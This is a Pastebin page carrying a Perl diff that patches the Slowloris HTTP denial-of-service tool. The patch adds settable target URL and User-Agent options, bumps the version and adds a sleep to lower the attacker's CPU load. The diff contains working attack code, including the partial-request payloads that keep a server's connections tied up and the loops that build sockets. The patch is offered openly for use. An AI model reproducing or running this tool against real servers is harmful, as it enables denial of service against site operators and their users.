Pastebin launched a little side project called HostCabi.net, check it out ;-)Don't like ads? PRO users don't see any ads ;-)

Patch to reduce CPU drain for SlowLoris.pl

By: technobcn on Dec 29th, 2012  |  syntax: Perl  |  size: 3.64 KB  |  hits: 62  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. # References:
  2. # http://wiki.apache.org/httpd/DoS
  3. # http://ha.ckers.org/slowloris/
  4.  
  5. --- slowloris.pl.orig   2009-06-17 00:00:00.000000000 +0200
  6. +++ slowloris.pl        2011-04-29 00:00:00.000000000 +0200
  7. @@ -38,10 +38,14 @@
  8.   Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
  9.  EOTEXT
  10.  
  11. +my $url = "/";
  12. +my $agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12; SlowLoris Patched)";
  13.  my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
  14.  my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
  15.  my $result = GetOptions(
  16.      'shost=s'   => \$shost,
  17. +    'agent=s'   => \$agent,
  18. +    'url=s'   => \$url,
  19.      'dns=s'     => \$host,
  20.      'httpready' => \$httpready,
  21.      'num=i'     => \$connections,
  22. @@ -55,7 +59,7 @@
  23.  );
  24.  
  25.  if ($version) {
  26. -    print "Version 0.7\n";
  27. +    print "Version 0.7p2\n";
  28.      exit;
  29.  }
  30.  
  31. @@ -164,9 +168,9 @@
  32.              $rand = "";
  33.          }
  34.          my $primarypayload =
  35. -            "GET /$rand HTTP/1.1\r\n"
  36. +            "GET $url$rand HTTP/1.1\r\n"
  37.            . "Host: $sendhost\r\n"
  38. -          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  39. +          . "User-Agent: $agent\r\n"
  40.            . "Content-Length: 42\r\n";
  41.          if ( print $sock $primarypayload ) {
  42.              print "Connection successful, now comes the waiting game...\n";
  43. @@ -241,6 +245,7 @@
  44.          $failedconnections = 0;
  45.          print "\t\tBuilding sockets.\n";
  46.          foreach my $z ( 1 .. $num ) {
  47. +            #select(undef, undef, undef, 0.1);
  48.              if ( $working[$z] == 0 ) {
  49.                  if ($ssl) {
  50.                      if (
  51. @@ -283,9 +288,9 @@
  52.                          $rand = "";
  53.                      }
  54.                      my $primarypayload =
  55. -                        "$method /$rand HTTP/1.1\r\n"
  56. +                        "$method $url$rand HTTP/1.1\r\n"
  57.                        . "Host: $sendhost\r\n"
  58. -                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  59. +                      . "User-Agent: $agent\r\n"
  60.                        . "Content-Length: 42\r\n";
  61.                      my $handle = $sock[$z];
  62.                      if ($handle) {
  63. @@ -316,6 +321,7 @@
  64.          }
  65.          print "\t\tSending data.\n";
  66.          foreach my $z ( 1 .. $num ) {
  67. +            #select(undef, undef, undef, 0.1);
  68.              if ( $working[$z] == 1 ) {
  69.                  if ( $sock[$z] ) {
  70.                      my $handle = $sock[$z];
  71. @@ -350,6 +356,7 @@
  72.      my $i                    = 0;
  73.      my $connectionsperthread = 50;
  74.      while ( $i < $num ) {
  75. +        #select(undef, undef, undef, 0.1);
  76.          $thrs[$i] =
  77.            threads->create( \&doconnections, $connectionsperthread, 1 );
  78.          $i += $connectionsperthread;
  79. @@ -357,6 +364,7 @@
  80.      my @threadslist = threads->list();
  81.      while ( $#threadslist > 0 ) {
  82.          $failed = 0;
  83. +        select(undef, undef, undef, 0.1); # reduce CPU drain
  84.      }
  85.  }
  86.  
  87. @@ -368,15 +376,15 @@
  88.  
  89.  =head1 VERSION
  90.  
  91. -Version 0.7 Beta
  92. +Version 0.7p2 Beta
  93.  
  94.  =head1 DATE
  95.  
  96. -06/17/2009
  97. +06/17/2009, 29.Apr.2011
  98.  
  99.  =head1 AUTHOR
  100.  
  101. -RSnake <h@ckers.org> with threading from John Kinsella
  102. +RSnake <h@ckers.org> with threading from John Kinsella and patch to reduce CPU drain from Guillermo Grandes
  103.  
  104.  =head1 ABSTRACT
  105.  
  106.  
  107. END